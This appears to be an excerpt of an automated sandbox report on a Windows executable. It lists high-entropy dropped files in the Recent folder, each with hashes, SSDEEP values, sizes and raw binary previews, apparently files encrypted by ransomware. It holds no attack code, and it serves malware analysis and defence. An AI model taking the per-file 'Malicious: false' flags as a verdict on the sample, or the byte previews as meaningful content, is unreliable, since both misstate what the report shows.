SHA1:	D32AC76E2BD5C6E44AEA67A8CFC6DF47B342F9EF
SHA-256:	D4067F41B30FCDBDC1498C1EBDBB29961DD7F498867D8E4E4FF1AF9D2E7FA336
SHA-512:	EF99F3234074640049DBCE52FD3F9987875D0DC64DDB49414743A3CC0BCDD14CC8A828DA82FBCC28D44A275A9A70D40C7E2726A5B82B3EA6EE2510349C6850EA
Malicious:	false
Preview:	BJZFP#E.\...:<..e.\|.<....6..F.......5.I.G1>rd.'5....M.m(.#2.y...'.a..![EOE...L..{......'_T/EM.:rZ1.'..3 ...)Y..#..k99`..sb...f7....q<...#\|.L.S.......Q.ui..../.tX:P.k.@s...`.Y....?..w...{........K..$.yra.uz....!d.oI..j..y...gp............\...p....3=u. .E/t...P...'.c.&.G....Emq.r....y.Qlp...P ..P......G.o.+Y C...z<2..xa......UR..x.&.g..kb <....t...B7..~..mQ.#.D....,..h.......zq.(x...Q]f...[...l.:Y..\gfgn..f/..j....P..M..}..........>^n.&....(. ..@.d.wJ.'.G.j...dP..h.....$?...)..o....+O...:2.=.x....-~..e.:.^.....p......h.4..w[.\4...#.{...0..8.U....x\.....5soHtZ..(`1...i&.x..@..?.P...6.4!..?..j....6r.N.xI..1..i4.n.7,...\....+.+.8{...c...$.;....Sx.k....9........B.......0......(..]v.b!...YT..^~e5.0.. y..:..w][E...i T..BI....!.xY..P"....K...s.p+...t....*y.?.......Hl.\|.d@y.Y?...e5..8.1?1.u.Z6~...l......qU.r.....l.>..#[.'O.~?...j.\....TV._e...ST.l<.\.l..z..8d03a/z.>.J.Ii..!.;....C3&X).b2..I.G)s..:...#6.o...=.dT..3F..43d.J2A..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838704258776569
Encrypted:	false
SSDEEP:	24:78B3wgGfX3Cak9YV82rF8nyLlNJy9br2uPKELfauZKpVRjtM/DZPt8W3zbD:5gGMYj+nC7g9nPCmaRprjUD38W3nD
MD5:	8614F20B9A487441B1141F87A9EFA20A
SHA1:	B52B8C149E534F8D0F1EA766926D16B666CA1522
SHA-256:	96F0F849A20323190408F76D28FEED6E40F37FC6C6A17AEBE695C5E75A045EA1
SHA-512:	7844BA8ECCD42FCC7044FF54E6ECD755C10D99E54567CEC0AFC2F07157B3665DB562F44F22FCF475E99D05EF3577D4CFFA5AA592460DF7A2D5D462F64AFCC322
Malicious:	false
Preview:	BJZFP...L..<...Y...V....6..X....D...53.6......l......>.#....qT..C....Gk..A...XI....0.~3F..+..lRl+}..<3..<.E..H...=."r........Ts%.....3B.)..XUN..w..6....m..af..U.9.C.(...T.D.../..Jq.1...?r...j.]..7.+.......'.}.'.../.S...U........@.BLp_..C.@..S.u...c.,....l.w....vH&F.Iq.,xM.;..B........I.....m.c H...Q<Q+...e.J.C._...zz..`..gzC.&2.......0...}q...m1...,J;....W...i..5..<..B....N#........p[.<.>....@..3....Xf..y.$......54_.r...)..Q&..-@Wg.T.Q...v..{.D$'o...Q... .....h}S/_PPF2...sm..DC...k.k....mr...`........8..4......K6.qj..._&?.....$.!..<...........!.#. 6..Y..-P...._.... ....fg.C.....G..!...o.4....xH.V>...3.=.......J..'..+....".{knd.E.w.........1.O...,M2.-.....k..o..MFZ.J..rh...%}.'X...=.6....e..F._...t.@.g.W...3.. ......t.(~...q....p9.t...+..vd.O....0.5.._.J...7+.B.Ui. .M.m..../....NA.`.)lc.}..i..O..........q\|..B.2.h.'\|......'..t.L....Y..%.m..i\|....%X....j...>g....5.F.....+.CA"1E+....$.X.s.,.F..2H.......Xn..{..?.....z....'.R..HI..'..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857671210089292
Encrypted:	false
SSDEEP:	24:N96YTiI0GXNYMjMg7uQPATTWNJn2rb3HrqXNIVrFt2Jywk3BArXe93zbD:VTiGXiUMyBuW/Mb3HrUK8JyKy93nD
MD5:	94D478A127C62E54483DA2E62D81AAD3
SHA1:	069A4FE7E731F435CD618222B7F118656F96C594
SHA-256:	26AB8692DD9C12CA962BE463D0AFC1BDD3D3E94DE755ABEF77D8952CF76D1FF4
SHA-512:	0048F4EE52CD8B47F4FFFC8AAF7B35FC71A31C321D152441ECAD399009A8E1CB2033E39BE5A997EB03C47B2EA953521396C53F3D8701D1C7B92985799629FAEE
Malicious:	false
Preview:	BQJUW.M...Q..{.....!..."...dz.....R..x.\|.S.!_..S..2^...@`..6.>L.....&:......k..D.....D....Per.4..y ...>.Zc......L.P...#.+.U.,.........=.D......G.B$.aO.6N....$x....u.a.%w......pb....../.t..-b.i..aZ..&c.....%.....]...........Y.N.W.(.")SUwW.C5.E.\|..L..~'...C3....i..?...;=o..;I.p....V..2..Q........_.&ch/.....w.......I.....e...#E.B!o%Uz.?,..p...;.Z....5..Yf.e.EH4.....l._R=....r.i9.7{: 95(..\|.q.l.y.8...9..P.l..}.n..R...>/....\.{.7?rm.....B..Kn1.!l...... P..!.l.\|.C.....=L...._.t........Y......V.....2...[.[u..t.:...{.Q...]<.8K..")..m..1q.....r1..Z...-h7..L..wt.BlUO...M..W.V9...]....8..N...{c.....1.wZ.y...vT.-..%.'./...j..........qe.............X..W.^..JM~C..'....6./).l0-.....=..O....."...3..7?.=.`\|..i.:.....pa.6;Ay.[.....g.n.......sX........$S+..Nz..l.......E..m.f.4e..zqj...sp.5....Z...~.,.v..g.>.5.Rtzu..+.#...l...^..x.O...l6.r.G..U.".8.QUm.....%...H.i.D.....I..y"....k.6.C.....iBn..u..X..K.3.c.a[Q.....\.f.*."......;..>.P.z,..@..f~....m....`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860114906815371
Encrypted:	false
SSDEEP:	24:qC3/iLK6lRRI7GHyR/LBwQfSoq+dW+t/Wpbgilo05nfIzY6kPb72nxpXJLR3zbD:154RVS1BwQKoq+WC+NXlnpAs6ayjXlRT
MD5:	4B672BCE92C4EF8800D0A2E899D2B9DA
SHA1:	594182ED3D1D7043D370DBA438742B6C4D89F4E6
SHA-256:	DBB24AA82FE6B4BFCFA6794DDAF2F5F945F9DE63AC65741ED090C0C6038984D3
SHA-512:	5A78D995D53C1F0D6E5E6DE8F934149802E721D8062E9DDADA29AF567A9D83564560D18AF76F666C083475412757CB08AAB8EE7E8EB3546A0778A608FECDC8E3
Malicious:	false
Preview:	BQJUW...>!s..YV..~b..).$g..bk.$=..&:.......4.....s.....t..v.2..6.c.+T...e.i.<..F.K.H.k....I^#DL.....}.M....+..U........Y...px..1.9........Q....\|o...k....u..4."k.H{f.........HK,...7...}Q&k.;....2}o4.6(.Mf,...Z4.5..X6....Eyz...w.....di...S..4vC..2.V..7.`.&........py.mlP.H.G.V6.\|.7]../..Y...N?...&.E.H..b...N2 H!.[..W....-.......b....\\|....L..%...J..S......Q.-V....yi.`^.m......j.Z1i.\....f:4.(....C.~k.7rWF{.R....,o.Yg../....7O..z.2../..GF6..g..X.U...F...xn...K..yf...Z...N.z..O.H..#M.#.d\.....u.tO?.E......=2.X7BF.o..7.`P%)I=.Rd.En&b.]..6...1o...p...y.-.>?....."...fm.g.Ga...C.y.$?..r.K...!#...O4.yA.#..-.z......]....=..Ol....j......].e.8ip.\...=0.U*{45?j..I.....oaY...../...`.j[..A..h.....j;....>..e.2..........{..4=....... ?.)...v...$.\...d..F...n......../F.v.-v,....Wm..MK.........\...3..-....4q..........[W7A...m...MWL#C.:......q.....tl.TS..P.. ..9.-%)...P..$...2..oAe.....X.82...M........^...R. H<.Q.'GL..y.>.Y.W...m...h..[......f.J%H(Z{.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWETZDQDIB.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847893796809044
Encrypted:	false
SSDEEP:	24:vg/SpwiWAcAhMPU80UJT1BWOzZraE5jA/dSDYLLoGT8RKy43mCSe33zbD:XpFaFF3hWONfodSELLofRKwDe33nD
MD5:	28A2AC9A4477341F2CA23B65D2C8E1C9
SHA1:	B85AB2A3CA92214F46A2BB2A58CA35727024F6FE
SHA-256:	05A7CC125780D60F2D3C2EACA324C70067C9CB1BFCE195CC69AD186D8FDA2AD5
SHA-512:	39A57CD0242BE912D370BF82627184DB25F546F52FE96E97DE3C2AA5DF1982ABC9F2BD7743B863A3F9B747163A6AAEF884B2B17C99E8AA96335B5DEEC7B9B138
Malicious:	false
Preview:	BWETZ.>..Sb.4.z`...-....F1l..>I.N..=..P.Z)..+C.OW....l..<I.!#!.zE.c.O.].e6.{i.]0{T.8r7.-.i,.7(.j._....w..[.w.ni.....R.M...).x..gQU...,.R...&.....MP.Ker}.#.b9...wd.}lQ...=U.n.(.d..GX.... w50B?...6.-......'...%.I.9....;....C.;P...2r.u..u...N..m..A....Gi.]H2..p..9.5.s....c.<...6m.b>1.W.T].Wr....\.....vv............3...=.T+U....{......m.....F...Kp......l..:.>\....\O......w......E.89w$.........E..[...,hu....}...}...]...-.........'.{x.@:....2N..+...X...D.2.My[.g..!.w.+.U..(#.._...q.x,...o..k......U...........^..<...f..C..}yn(..}x..u....}.ju..!....9....S...]....>=x.r.....=..C.jP%..X.}_.....u..N).nh.P.....P..I.D..c..PV....d..f..`..N.z5...;..e%....O&2n...8R..[...sI.....\|B.......k.A......{&...aX...+KW`..=2........m.n....d.%^.&..S.).ix.../1.>n.....84.?J.3.....2....../bA@...*A.....}....fc..@wV.&......\|3........o.&..7.L17....JE.KV......@.#^QAK....E%-w. ...8.g...h..;(..8.........l.....R.V.[... ....H"..R..Z:..t..[.xN...1-.e_..^..i\.6M.x....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86749618089164
Encrypted:	false
SSDEEP:	24:f3ocowpdg0EG3SzNIDYKOUijb9NU/FjThgnN0Sq3NSmgTkW2U7SZ5ICODpy3zbD:fTo8dgaF0KMNNUNNEQuSdOE3nD
MD5:	D0494D1AD9BBCE4E9DB8695D83E4329C
SHA1:	EEEFAE2C67775F893D27877CDAE2F575D0521F42
SHA-256:	1EE2128BE64FCF2A072530378AB6FD8C5154CC3F131F4399316960F46F865732
SHA-512:	CD9DAC4C8C177327955E5F3C3888C9905113E58C8E3EC546E97A26E5F257168804A3D2F535C5CA28C851FFF91CF2C695B454C630E61C1AC1DAF039E9082D40C6
Malicious:	false
Preview:	DUUDT..f...HE.S..`......?..........G.mH.....+.t4.zxD8._...%.F.v.."..X.]\y.y...Y.^.K.w.:<..T...+y.PO..%.@Sv..I".a.....u...!7.....3{.B.OeGhSJ!^.N.O].]H..Dw..^A.G6....cA....U.0..S,........z...:.f.vt..d....".h.@T.[...n.......F...h..?.......w..NYS...M0.F...T'...,l..)..e..@<..W.l............2Z..j0v.n...6#.....Q... Q0...PxO..Z.s-GcQYM}.U.V..O.....~We......u....W...zLn.....{...D...&..f..-{{7.N.:..R.y....t&.CB;.d.T...v.F............&......+rs.;<o.Z..0.....l(..E.e7...wQ.wf..,.]...rJ.]..7 . `.!%Go....~.j8...`....S....... {"..........JF.."...:Q...l......._....8...].9..kNc.T.z....+..o...=..eD..9\.^..i..[jV.\..-.'...l~q....g{.%.z}%..G...H..,......dM..u."..{e....u4.._.Pv..D&....L/.>..+.}....m.%.s<..P......:Ox.....,....w..3....[t..` X.@.....i...\|...F.5t.1K.lE .6...DJ..........J.....F<..9.../.LB..Ws.y...M.r(.~..-...*m9..R@.[....ma.....%...%:..2j...z..\|.m8..[....@,......1c(D... ~nc.a..{....k.A.........W....%.q....r...`..J:....t9..E"\.u.0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841327793182583
Encrypted:	false
SSDEEP:	24:ss38kLl6EjS1u8uPy+GhUSl6iuki9h28LAFAtqwqJ6YTETvzl034S/xZcIGT8j3D:sav7Ku8WGPeT9AFUq/6YALCISrctTa3D
MD5:	A791AABA51339AC4F9ADC7B523F22C2A
SHA1:	EB0735B339358A83F189762DD9AA7933EDC5437E
SHA-256:	C0A1374021B3C8E8DFEEDD1BB97B2315A47AB87028325367D625100DF207B266
SHA-512:	05A8AC20BFD72320DDE1A33AA049241A7BCE6FE0C6568F58BDF951F516A12DDDC53E910CE7DAA6CF1B81025662BFE70D4BDA55D9299430DBA7D146E9E2204A2B
Malicious:	false
Preview:	DUUDT.9.".l...9u.h5.2..../.h.q...}.R.z.PK.f.`bp6B..a...0..y.x.{.@..Q.O).fm_....!.Vr....%=g...@.sn`..)F.i@..\N.l....T...........<....'..5...X1+J..P.P....t.0..=.ev..Z..C/i>.`o2.....H.I.whV.$..n..Q ...p{.......C..../..A...u%....37{.1..b.q..).7..cY....(....w...J$M.9. +.g.l..M......{VBc.......~.. a...f...W.#....V..`..+..p.."{..gQ..m.M........C>....c.W...l6Gc$f...0..TjT.x..M.e..)....D....6.\|.......`5.../.p#...ke.QV;.6]....i...}[<}......J.U.?[h....)DCbI .Y._.V.f..d+..0?..Kt+.5k.e..2J..^...f<~..!xv..2...[.$.7=.%..,^......p..iW.%.tm.NU..w{..l.JF...@...(\|...}.H2...J.w.a..\|G.I.E4.....7"...5tA....- .A.._...H....bxp....D...A.t5....E........)...f.0..1..>ck:.d'_......dhv.Gc.h\|hf]...X..-.(..p.Q..8.VF.o.g.B.*..z....;.9$..%..u...<.{..@2t=$C.<..Uw..-....0..4...(~."4..L.>>.....b..).H.M.#.'=.).1.vkis...zg..pX.9....7Q..{.b.....6....u.n...e....X>...6P6u..4....>..UW%B:...".....0%.\|....H+..........M.\|.X3... ..I..@0`\|.h.\...@.m...G..4..;{..8T....FSBn}\|..K.......b.\|...l

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867019181694753
Encrypted:	false
SSDEEP:	24:1TVYXlJgt6YG+WkecScfRpE4aJl8t/CbTIDpq62Z0/4TcPOqFnoG7G3zbD:1TVYVJgt6YG+WX57HIDpqpGweTFnoQGT
MD5:	9E4D82D1A43EB03D288582E657597ED7
SHA1:	4631D58009F0C326241CE327D8B7A1AAF78D66E7
SHA-256:	91F0538F97A8D28AFA0BD6DCD6FA8734555D1085521AA0BA3106FD56B38D1372
SHA-512:	07CB78419E2EDCF4AC64E9682DFCD438C18897584C0C481F45FE42F0349CD9094449A6442A5BCA0CBAE1EA2929C4AFE290A4E86350B6E69E161591333F51E4FF
Malicious:	false
Preview:	EEGWX....nk(=A....K...=h.r...%.C[.g.1...B......,..Q.uF. .x.y.......&.\....b.s.h:...N.?...w.....`U.4.8_.p..n-D..a.A.&?..d.^.U"6.>...g.JJ.Q.>.?.^.........K...c.WK.M96......L.P.]s>.~..U..<R...}.7_oq M.....C..F-..l.Q..y2.r......)+......x,..../8.?s..I.p..fw;... .z.W.W=.$.x...U..2.....c...40..]...[w0fig....T.S,....B9......<t.+....g..F!.8.5.^.U.<Y8.z...........!..C..Ge.'.k..<.....(......E.e4'.H....).e....5..,...K....\|Q.)..[.\..$....j."..Zn.. zp....N.=GB..l...m...g%.m.h.......T...1!..F\|..p.O3:.... =.;?Ni.O.C.;..}...xj..?......^..h.F.[..O......x.92...LR.x.5B]..C7Kw.a.i.F.#.-)...,.X...p.@..././:..Up...:.....r..j.K.1..>...3.3.D.T\:.(....\|H.j1..Qa....I.@ 8o....+.7.JF.kNZ~/>.W]K.k^...cph.H..3.f...d..p........hV.y.......Y...L#....../.F\.=...b3..D...ZL(.d.. .S......Q.....7Yz.....g:~.D..3.l-...m.6.R.k........ .&..o..U<...~.s.:..Xzm.g!...e.{G..t.7ah)...x[".@....-c.c...8...AExw....I.p..\|,...d....K[k0+NuLg6^.f.2Pyx...b...:..^3U..\|f...>.+....D.cS.\|=...(.C..iCL

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846521769500917
Encrypted:	false
SSDEEP:	24:NagaIHhztGzuM7hvC0k+4Nz/oLcQ4uAeSYlgNqTgSHmG93zbD:NFtBztG7tvCf/sH3AolgNqMSHb3nD
MD5:	5598A098FB0437D35A8ADB73BCDD96AE
SHA1:	64BADCA644267990759ED746FED975803E7FB3E8
SHA-256:	C1CB1C0A247C4FAE59E75DA815A47BC18E7CB40604789209C587002CE0D4C8B6
SHA-512:	692C736B59AE4F0E5D0839F9523D0D13BC80AC1981FA9792B0EDD60C95DB86518B1436F183B9B793B97DAF0A172A9057DCF9AC3123FCEFFAB0341ACD4FA3B7A7
Malicious:	false
Preview:	EFOYFT...v.i.T=...@<jMQ1\|...D.......<...z/....)'T.,(d.0UvV....E.p..v....0;y@.{t..P.?"N.$.c..nG.l#.2.zso.....O..w."L.p.Vn..1.......].T.\...y....mW........d.......VN..z.w.0~... ...]..M..n..M..............V...x ...P.xg....p...A4[.c..q_....)/.u.."I>,......%.v}.e.Z../Je..C.Q..iz..!8...v7..5..R+..,L..y...u...B...:^...~.]>T......o.1..1=.9O...ij.NPl.......R..P.s..4t....L.d.2..O...c;..H..m1u...M7..p.v.Z...'Q...6.5j.9.c.a...NGY.......^...M..kZ!..4.3.9..J..^.7..\|.O~.AS...W..Hm...?...$.&.d..p.\|..l-.nY.....H.D2..E..j.#.d...m......w)..#g3.&........-;...pM..m.P3T......33.a.....z...}.8...X+.6.@.6{f.j.....E...?..Y+_.N[..(0<.p;..h[.:...a....Z.U/t...]>.<..g.F2._......7..f..C.....ES?.....#TBDq.&.IE`>kI.........C...x32.a=.yR..P..m.R..^..i..1.F=2L.s...e,..6..,c.eXH...?I...{.[4....hs.-L...U...[....FNWVt...27@.v!q%..V.h..\|X.z.VD.H..Y4hL+K...5..J6(ui;a..]..5j..$.."8.O%.r^....i...p..h.b{.G..uc[......zFf......H.....E....{...#..]F..}K...8...&.(J.i3W(g.;8.Z....8.r.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.808035664670297
Encrypted:	false
SSDEEP:	24:RdJNWP7ph42+XosPUn3rJW1sNAhyK7iyH/8c1Bj7NrMLIrNj1WT3zbD:RV00JYNnwmNAkW3/NMkrNk3nD
MD5:	1E5CF2AE65DD2A3023461A26B9827B9B
SHA1:	924FDB2ACE8B7CD3A1F34EEE50F19DA9C0113AA7
SHA-256:	F1EDCDD73A1DE339F803CF695C6E6F741377332B5FB3975B5D96FB8A09855EB7
SHA-512:	36A92E475E28661B8AB2D51B99C67618121DC09477AA029F871FCF1034999268D615991FF135615CA228A1A43BF34A83712B9DCD6453F12935EDEE52874150F5
Malicious:	false
Preview:	EFOYF.K..A...V...I.y....S.7F......c.\|aE.......m...J.G..mk..,'\ .....x.{gmX.yK......7!C..Nm.\6.a'r.zs.5...Kuq_.....:....J}..P.@...~.k..qV..)].MPs.v./l4...(.=....^...:..[.x.......IG....4...(.k.cr....u....67v..'`.@.M.Q..E(5]..P...PS.w.3.N.^.'&c9H.(.N_p.LRk.+.4......:4.E<C....r.#G_2n...u.Y#..=.q...q.....\|.fO++k.H.........[.........5-...q].a._.WLD........].o.#plp.......3v+..x..Jx.FEd....y=..I..w.'..j..l.(...B.U....J.yar....R.......M.v.=...,Xa#.`@....w.a#./..Gh......u..v...2O..6.:.SL.y.6B..M~.W.+.Ax......0... ..Z.vL...Y... S.u....]..I6...\...;.z"...S(S.j_yv6.`..=.:....A...T%a.ra..vD^....cc......5(K...A&.p........+....d..#`.....`..bI.U.5...$..\|.....+.......f.O.tw.../...[G...>.H..By..}}c..0.me.c.a...' ....-.L...?a..o.X..q...-..=.w$......r...j...oeFLc..CP..Z.7..A..K'..a.&=K.r=.j.....K.jb.$f.\'r.C..d..A.,T.x.y1.....+..v$.\..X..&UG..dPg..W.:.0.J.!.\|.VB..v,... I.......(..`.H..R..#)u...Ja<.-x.....#..E.$.0..z..(%.v@'..m.+...+A....;...G...\|.%Fg..Vi.4.l..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848273464358074
Encrypted:	false
SSDEEP:	24:Rh2HHqEl7oZ+cDKjZkH0TOvhzHNB1WVl37xb59T/3G4fF53zbD:qHLl7K+cDUeUTOrzQVeyF53nD
MD5:	1BDAA1A8FE24BEE42F82C6BE4CCDAD6C
SHA1:	2F571A877842197D821F29F223263C525170401E
SHA-256:	98E879E595C7AC5155EC858F08F8BDBD1BF59B86B962CEA7FBDE0187388960A7
SHA-512:	93F652634859BF33136E2CCB273CDBFF047EEF95AC55B6AD5AE803026D93797625279F8A4EDBBED86E69861C2660D239D19A8DB870011946CB85F8958D145B16
Malicious:	false
Preview:	EIVQS.Qs0.=..c...Y...."h..F....../..C..0.=.<..vHS..PX.x....e.%....3...'c..JE....Pk...n..(..Z..,,....t.......tv....G\|.".B6..#G"...AJ....._.~.w.&..u\|y.pv.{.9..kDU .[C..XBB8.S-dj.Z....-.4..Ke..@.<K\.p/:.lY.5..l..I.H.KX..b....gn.xLqA..s.W,..T...OWf.?r.Q.b.P;b....w..Q:.L.0!.....nM.W,...;y...d...._r..5:`......W.r./T7^..Y9...L..pm(.I...........^..U_0.<............T.).....t.hK0.U8?PA.J...y.....{fa..8.8t7..v..........+]...D.5... ...U.....B.t....E.MD.S.s.>.`....R-.?!./.......h.5g..\.eo.X.6.{g..3o.a....\R.Z.e.m'.......AI.#L.....tUjA.8......u.P.=..;.y.....,...Z..D.o...._..B.a.r.:^5Y..I....4..Q7..3.}h/.^N.x.{..(7...!!:....@...e.(.t}Q.{.#;.e..F...M....#XW..4.x#o;....aQg..N.Z.(w.oF.M..!...QG...2.......%"7`...S).......oH.X.0..#.2..Eh.9...h..a^....f..0f..o.\|...r.qm...4._...j5Z...."..x[0..}'dw.v.E.1.0.^.-A...Qn_.S3p..k..x..Tk......7. x..g...#........e............`..+..7.YZE...oNgg].&{_z.........%O.r........V.X...........>Rd1......3.........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861855481557792
Encrypted:	false
SSDEEP:	24:pNVGWGfJ25RF+xB3IzsF0S/54pEwfEDrHUo1AUMIKPWWqT2CtDpfgbkohr9Y3zbD:pvGWRv+5FlwBfE3gUMwEODRLox9Y3nD
MD5:	7286CA16075090D91EDADAD95C364D02
SHA1:	D3AC6FE85BDEAFD8849BC2ECEBE8A464DD4AE845
SHA-256:	29FA355FC2C939560FA191BB9A3F3BC202B307929B3304DD030BC95384A6B47A
SHA-512:	E1104DAA1CBD4906A7DB26EE9D7E99F71EB1096629645CCB7BC1E5E74853619E50A0BED7CF5C8D77D01EDA56C8C323565432F06E0BE6C8631186C11E88FA6268
Malicious:	false
Preview:	EWZCV7$Bd.7=.........'..@h..H....?.q.z.....6.U....#<]#.d.p..$m..X...wX3.7.&.....W..#.,....Z.W.....;...!..&......jz..`..g.O....Q.f...;~;....a..cw..+.i....-.(.i.\|Kd;........fC..k.?..n.....E&3o....)..-...8..2R.$.p..y:d.(!.%...B...G...L..Ko.;'.....z&..WY.n@Rw.~.=G..q......YgO.....DM:.%...'?=...h.h!:.8.@...G....h.Fuw.rR_......V.e}.D.0...u..h.....QA.h ..Z.I...M@$I...$.y..u..9{......y.f#.(.....Nn/K2h..4.@Q..n>.b.s..'XgwI..^..X......wpk{.%~u$......q...G$F..Y.C.(1..1....A.uJ..!.=..A..\|\|.P..g.7....\|.t..,W...I...~h.I.......b...(.;.-...$(.7 .%...Q.@r..k..o...\|..]e.Qs.)%.35..6.H3Q......-J7._...r5....T..ZM......{(...X<T..p..r[3V...OB.R..._....).f...5...)...V)r.8(.)...Z.2"s..(J^<..a.....+..d..@.j.\|.)..j..o..O;.'..6.......\^0^..:N.iI.].2..v..:..b.g..4........<,...Y.kH.Tx.#)"l...q.F..7..~G...H..ZKGa.Q.}.P_d(..C...,:..%...5.7....m..rf.E..`..+..NL..z@tmR..sj]Q..\...;M..g.y9.g.k-...n@..S.C..\|*._.p..<..P.].I.T.7}.-.`.3F;...t.,MX..w[.j...@b..eSk...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FGAWOVZUJP.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865634622316584
Encrypted:	false
SSDEEP:	24:hqg/1Xe4cJRov2P6d4bxgguQwA+waj+EsQMC3mfUrORL7mkS3zbD:hq2EJ+WtgkEsQM9UDkS3nD
MD5:	D22CBCE99E818C077307C9430BBC2CF0
SHA1:	E84480814C0980D4812CD7920F3F28131B34B325
SHA-256:	120C4088A3265CBBF06AF425949E139844207A8DE4517BE620D7BC666E053889
SHA-512:	850ECE91ACBC4E4DA08A1F3856041039449ADCB9870B445721C7B367A20D8DFF4E3B63ADC2E831892561B219C0784F26B3DA0957FDAEE7C8480F806397E109CA
Malicious:	false
Preview:	FGAWO.L. ...U.......xX{..Rvz....@.... .7..P.......6/.PB.....'..........I.(cv?.e(..I0.....W'..]g\| ..!........]....=B.......x.v.#V..+.!.......0.\<FF..;6.^.{......\."f..Sn)...f.z2.........l.......s.xS..a........y...6....o.......B.....l....uJ...lmZH.&..!u.i.. .N.&=.0...!"L..Q^..j...4....:....`.y..../`.....~.P.......^S..._{...x...+).q.0.7C.H...4..85U...E...5..K..~wcC.L..!.I.....lqi5.g.H..7.z....._.....b.w.....~.2.....e.../a.Be.+V&O9.6..%..!.......=..n.b0)A..(....w.g".....X..%?sy..:3.]."..+9.$..d)R/...u...Wdk..R...'.9xKT...7.Y'Z.N.. ....I...I.Jrh....I.("r.:N.3...Dp.S...."...p...o....5/y.q....3..Z.J3l.....DX..C....[.fwg..\q......zQ.@T...n...........5..mPy...0.....p...H..>.._..H.9.......C.nX.w..t$]...^w.Fr{..........[...._.......sy,...8FcFy.......=c.....".9l..L...{.{.K?\|...HA2b...}.N.....8....L.Gz2g..v.9...x.[...]..u.H@..w.L.}.3......8~..z...RC...7;..2.xjN>...w.(.v6..v........s._..Sd\zv#<"...n.4.-.*...... i..%$.Yj.@..G..M?....X_..=.. L..i....!....)x5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FGAWOVZUJP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835267758547472
Encrypted:	false
SSDEEP:	24:eh6eqSbRD7Ul2aIyMsfnXStczYD6/rgNIa8vo2NIjm3zbD:eAzqd7zaIy/iGzYD5OIK3nD
MD5:	23FBD2AC64CD412C3E45B39DF72EA79B
SHA1:	D6C1AD13DF28F35C38F2FA7C7AED068BF487A4C5
SHA-256:	5B13D57CF422FC8BDA0AD02BB730BA0ECCAA98E1F2C70136B174F81AD857F1CD
SHA-512:	953A117FCC2BF36621467C4D8DFCD6948CDBEEDACD7C1341AACDCEF7D284056B8C1467D37F6A278C09AC0965E4C2F0EB2685C575413F301FE76CF6A21FA6314A
Malicious:	false
